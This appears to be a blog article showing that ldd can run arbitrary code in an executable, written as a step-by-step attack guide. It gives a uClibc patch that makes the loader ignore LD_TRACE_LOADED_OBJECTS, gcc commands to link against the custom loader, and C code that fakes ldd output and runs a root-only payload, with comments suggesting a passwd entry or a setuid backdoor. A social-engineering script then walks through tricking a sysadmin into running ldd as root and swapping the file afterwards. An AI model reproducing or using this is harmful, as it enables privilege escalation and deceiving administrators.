The ldd utility is more vulnerable than you think. It's frequently used by programmers and system administrators to determine the dynamic library dependencies of executables. Sounds pretty innocent, right? Wrong!

In this article I am going to show you how to create an executable that runs arbitrary code if it's examined by ldd. I have also written a social engineering scenario on how you can get your sysadmin to unknowingly hand you his privileges.

I researched this subject thoroughly and found that it's almost completely undocumented. I have no idea how this could have gone unnoticed for such a long time. Here are the only few documents that mention this interesting behavior: 1, 2, 3, 4.

First let's understand how ldd works. Take a look at these three examples:

[1] $ <strong>ldd /bin/grep</strong>
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7eca000)
        /lib/ld-linux.so.2 (0xb801e000)

[2] $ <strong>LD_TRACE_LOADED_OBJECTS=1 /bin/grep</strong>
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7e30000)
        /lib/ld-linux.so.2 (0xb7f84000)

[3] $ <strong>LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep</strong>
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7f7c000)
        /lib/ld-linux.so.2 (0xb80d0000)

The first command [1] runs ldd on /bin/grep. The output is what we expect -- a list of dynamic libraries that /bin/grep depends on.

The second command [2] sets the LD_TRACE_LOADED_OBJECTS environment variable and seemingly executes /bin/grep (but not quite). Surprisingly the output is the same!

The third command [3] again sets the LD_TRACE_LOADED_OBJECTS environment variable, calls the dynamic linker/loader ld-linux.so and passes /bin/grep to it as an argument. The output is again the same!

What's going on here?

It turns out that ldd is nothing more than a wrapper around the 2nd and 3rd command. In the 2nd and 3rd example /bin/grep was never run. That's a peculiarity of the GNU dynamic loader. If it notices the LD_TRACE_LOADED_OBJECTS environment variable, it never executes the program, it outputs the list of dynamic library dependencies and quits. (On BSD ldd is a C program that does the same.)

If you are on Linux, take a look at the ldd executable. You'll find that it's actually a bash script. If you step through it very carefully, you'll notice that the 2nd command gets executed if the program specified to ldd can't be loaded by the ld-linux.so loader, and that the 3rd command gets executed if it can.

One particular case when a program won't be handled by ld-linux.so is when it has a different loader than the system's default specified in it's .interp ELF section. That's the whole idea in executing arbitrary code with ldd -- load the executable via a different loader that does not handle LD_TRACE_LOADED_OBJECTS environment variable but instead executes the program.

For example, you can put a malicious executable in ~/app/bin/exec and have it loaded by ~/app/lib/loader.so. If someone does ldd /home/you/app/bin/exec then it's game over for them. They just ran the nasty code you had put in your executable. You can do some social engineering to get the sysadmin to execute ldd on your executable allowing you to gain the control over the box.

Compiling the new loader.

Get the uClibc C library. It has pretty code and can be easily patched to bypass the LD_TRACE_LOADED_OBJECTS checks.

$ mkdir app
$ cd app
app$ wget 'http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2'

Unpack it and run make menuconfig, choose the target architecture (most likely i386), leave everything else unchanged.

app$ bunzip2 < uClibc-0.9.30.1.tar.bz2 | tar -vx
app$ rm -rf uClibc-0.9.30.1.tar.bz2
app$ cd uClibc-0.9.30.1
app/uClibc-0.9.30.1$ make menuconfig

Edit .config and set the destination install directory to /home/you/app/uclibc.

# change these two lines
RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"

# to this
RUNTIME_PREFIX="/home/you/app/uclibc/"
DEVEL_PREFIX="/home/you/app/uclibc/usr/"

Now we'll need to patch it to bypass LD_TRACE_LOADED_OBJECTS check.

Here is the patch. It patches the ldso/ldso/ldso.c file. Save the patch to a file and run patch -p0 < file. If you don't do it, arbitrary code execution won't work, because it will think that ldd wants to list dependencies.

--- ldso/ldso/ldso-orig.c       2009-10-25 00:27:12.000000000 +0300
+++ ldso/ldso/ldso.c    2009-10-25 00:27:22.000000000 +0300
@@ -404,9 +404,11 @@
        }
 #endif

+    /*
        if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
                trace_loaded_objects++;
        }
+    */

 #ifndef __LDSO_LDD_SUPPORT__
        if (trace_loaded_objects) {

Now compile and install it.

app/uClibc-0.9.30.1$ make -j 4
app/uClibc-0.9.30.1$ make install

This will install the uClibc loader and libc library to /home/you/app/uclibc.

That's it. We have now installed uClibc. All we have to do now is link our executable with uClibc's loader (app/lib/ld-uClibc.so.0). It will execute the code if run under ldd!

Creating and linking an executable with uClibc's loader.

First let's create a test application that will just print something when executed via ldd and let's put it in app/bin/myapp

app/uClibc-0.9.30.1$ cd ..
app$ mkdir bin
app$ cd bin
app/bin$ vim myapp.c

Let's write the following in myapp.c.

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

int main() {
  if (getenv(&#34;LD_TRACE_LOADED_OBJECTS&#34;)) {
    printf("All your box are belong to me.\n");
  }
  else {
    printf("Nothing.\n");
  }
  return 0;
}

This is the most basic code. It checks if LD_TRACE_LOADED_OBJECTS env variable is set or not. If the variable set, the program acts maliciously but if it's not, the program acts as if nothing happened.

The compilation is somewhat complicated because we have to link with the new C library statically (because anyone who might execute our program via ldd will not have our new C library in their LD_LIBRARY_PATH) and specify the new loader:

app/bin$ L=/home/you/app/uclibc
app/bin$ gcc -Wl,&#45;&#45;dynamic-linker,$L/lib/ld-uClibc.so.0 \
    -Wl,-rpath-link,$L/lib \
    -nostdlib \
    myapp.c -o myapp \
    $L/usr/lib/crt*.o \
    -L$L/usr/lib/ \
    -lc

Here is the explanation of options passed to gcc:

  • -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 -- specifies the new loader,
  • -Wl,-rpath-link,$L/lib -- specifies the primary directory where the dynamic loader will look for dependencies,
  • -nostdlib -- don't use system libraries,
  • myapp.c -o myapp -- compile myapp.c to executable myapp,
  • $L/usr/lib/crt*.o -- statically link to initial runtime code, function prolog, epilog,
  • -L$L/usr/lib/ -- search for libc in this directory,
  • -lc -- link with the C library.

Now let's run the new myapp executable. First, without ldd:

app/bin$ ./myapp 
Nothing.

LD_TRACE_LOADED_OBJECTS environment variable was not set and the program output "Nothing." as expected.

Now let's run it via ldd and for the maximum effect, let's run it from the root shell, as if I was the sysadmin:

app/bin$ su
Password: 
app/bin# ldd ./myapp
<strong>All your box are belong to me.</strong>

Wow! The sysadmin just executed our exploit! He lost the system.

A more sophisticated example.

Here is a more sophisticated example that I just came up with. When run without ldd this application fails with a fictitious "error while loading shared libraries" error. When run under ldd it checks if the person is root, and owns the box. After that it fakes ldd output and pretends to have libat.so.0 missing.

This code needs a lot of improvements and just illustrates the main ideas.

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;

/*
This example pretends to have a fictitious library &#39;libat.so.0&#39; missing.
When someone with root permissions runs `ldd this_program`, it does
something nasty in malicious() function.

I haven&#39;t implemented anything malicious but have written down some ideas
of what could be done.

This is, of course, a joke program. To make it look more real, you&#39;d have
to bump its size, add some more dependencies, simulate trying to open the
missing library, detect if ran under debugger or strace and do absolutely
nothing suspicious, etc.
*/

void pretend_as_ldd()
{
    printf(&#34;\tlinux-gate.so.1 =&gt;  (0xffffe000)\n&#34;);
    printf(&#34;\tlibat.so.0 =&gt; not found\n&#34;);
    printf(&#34;\tlibc.so.6 =&gt; /lib/libc.so.6 (0xb7ec3000)\n&#34;);
    printf(&#34;\t/lib/ld-linux.so.2 (0xb8017000)\n&#34;);
}

void malicious()
{
    if (geteuid() == 0) {
        /* we are root ... */
        printf(&#34;poof, all your box are belong to us\n&#34;);

        /* silently add a new user to /etc/passwd, */
        /* or create a suid=0 program that you can later execute, */
        /* or do something really nasty */
    }
}

int main(int argc, char **argv)
{
    if (getenv(&#34;LD_TRACE_LOADED_OBJECTS&#34;)) {
        malicious();
        pretend_as_ldd();
        return 0;
    }

    printf(&#34;%s: error while loading shared libraries: libat.so.0: &#34;
           &#34;cannot open shared object file: No such file or directory\n&#34;,
           argv[0]);
    return 127;
}

Actually you can put the code you want to get executed right in the loader itself. This way the executable will always look clean.

Social engineering.

Most system administrators probably don't know that they should never run ldd on unfamiliar executables.

Here is a fake scenario on how to get your sysadmin run ldd on your executable.

Sysadmin's phone: ring, ring.

Sysadmin: "Mr. sysadmin here. How can I help you?"

You: "Hi. An app that I have been using has started misbehaving. I am getting weird dependency errors. Could you see what is wrong?"

Sysadmin: "Sure. What app is it?"

You: "It's in my home directory, /home/carl/app/bin/myapp. Sometimes when I run it, it says something about 'error while loading shared libraries'."

Sysadmin: "Just a sec." noise from keyboard in the background

Sysadmin: "What was it again? It must be some kind of a library problem. I am going to check its dependencies."

You: "Thanks, it's /home/carl/app/bin/myapp."

Sysadmin: "Hmm. It says it's missing libat.so.0, ever heard of it?"

You: "Nope, no idea... I really need to get my work done, can you check on that and get back to me?" evil grin in the background

Sysadmin: "Okay Carl, I'm gonna call you back."

You: "Thanks! See ya."

You: mv ~/.hidden/working_app ~/app/bin/myapp.

After a while.

Sysadmin calls: "Hi. It seems to be working now. I don't know what the problem was."

You: "Oh, okay. Thanks!"

Lesson to be learned: Never run ldd on unknown executables!

P.S. If you enjoyed this article subscribe to my future posts! I have many more quality articles coming.